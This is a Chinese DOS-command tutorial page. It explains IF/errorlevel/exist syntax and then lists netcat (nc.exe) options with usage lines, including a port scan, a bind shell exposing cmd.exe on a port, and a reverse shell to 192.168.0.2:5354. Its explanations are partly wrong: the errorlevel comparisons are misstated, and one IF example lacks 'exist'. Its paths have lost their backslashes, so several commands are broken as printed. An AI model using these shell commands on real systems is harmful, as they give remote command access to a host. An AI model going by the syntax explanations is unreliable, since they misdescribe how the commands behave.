DOS命令珍藏經(jīng)典（六）_跨考網(wǎng)

　　一、if命令及變量 基本格式：

　　IF [not] errorlevel 數(shù)字 命令語(yǔ)句 如果程序運(yùn)行最后返回一個(gè)等于或大于指定數(shù)字的退出編碼，指定條件為“真”。

　　例：IF errorlevel 0 命令 指程序執(zhí)行后返回的值為0時(shí)，就值行后面的命令;IF not errorlevel 1 命令指程序執(zhí)行最后返回的值不等于1，就執(zhí)行后面的命令。

　　0 指發(fā)現(xiàn)并成功執(zhí)行(真);1 指沒(méi)有發(fā)現(xiàn)、沒(méi)執(zhí)行(假)。

　　IF [not] 字符串1==字符串2 命令語(yǔ)句 如果指定的文本字符串匹配(即：字符串1 等于 字符串2)，就執(zhí)行后面的命令。

　　例：“if "%2%"=="4" goto start”指：如果輸入的第二個(gè)變量為4時(shí)，執(zhí)行后面的命令(注意：調(diào)用變量時(shí)就%變量名%并加" ")

　　IF [not] exist 文件名 命令語(yǔ)句 如果指定的文件名存在，就執(zhí)行后面的命令。

　　例：“if not nc.exe goto end”指：如果沒(méi)有發(fā)現(xiàn)nc.exe文件就跳到":end"標(biāo)簽處。

　　IF [not] errorlevel 數(shù)字 命令語(yǔ)句 else 命令語(yǔ)句或 IF [not] 字符串1==字符串2 命令語(yǔ)句 else 命令語(yǔ)句或 IF [not] exist 文件名 命令語(yǔ)句 else 命令語(yǔ)句 加上：else 命令語(yǔ)句后指：當(dāng)前面的條件不成立時(shí)，就指行else后面的命令。注意：else 必須與 if 在同一行才有效。 當(dāng)有del命令時(shí)需把del命令全部?jī)?nèi)容用< >括起來(lái)，因?yàn)閐el命令要單獨(dú)一行時(shí)才能執(zhí)行，用上< >后就等于是單獨(dú)一行了;例如：“if exist test.txt. else echo test.txt.missing ”，注意命令中的“.”

　　二，系統(tǒng)外部命令(均需下載相關(guān)工具)：

　　1、瑞士軍刀：nc.exe

　　參數(shù)說(shuō)明：

　　-h 查看幫助信息

　　-d 后臺(tái)模式

　　-e prog程序重定向，一但連接就執(zhí)行[危險(xiǎn)]

　　-i secs延時(shí)的間隔

　　-l 監(jiān)聽(tīng)模式，用于入站連接

　　-L 監(jiān)聽(tīng)模式，連接天閉后仍然繼續(xù)監(jiān)聽(tīng)，直到CTR+C

　　-n IP地址，不能用域名

　　-o film記錄16進(jìn)制的傳輸

　　-p[空格]端口 本地端口號(hào)

　　-r 隨機(jī)本地及遠(yuǎn)程端口

　　-t 使用Telnet交互方式

　　-u UDP模式

　　-v 詳細(xì)輸出，用-vv將更詳細(xì)

　　-w數(shù)字 timeout延時(shí)間隔

　　-z 將輸入，輸出關(guān)掉(用于掃錨時(shí))

　　基本用法：

　　nc -nvv 192.168.0.1 80 連接到192.168.0.1主機(jī)的80端口

　　nc -l -p 80 開(kāi)啟本機(jī)的TCP 80端口并監(jiān)聽(tīng)

　　nc -nvv -w2 -z 192.168.0.1 80-1024 掃錨192.168.0.1的80-1024端口

　　nc -l -p 5354 -t -e c:winntsystem32cmd.exe 綁定remote主機(jī)的cmdshell在remote的TCP 5354端口

　　nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主機(jī)的cmdshell并反向連接192.168.0.2的5354端口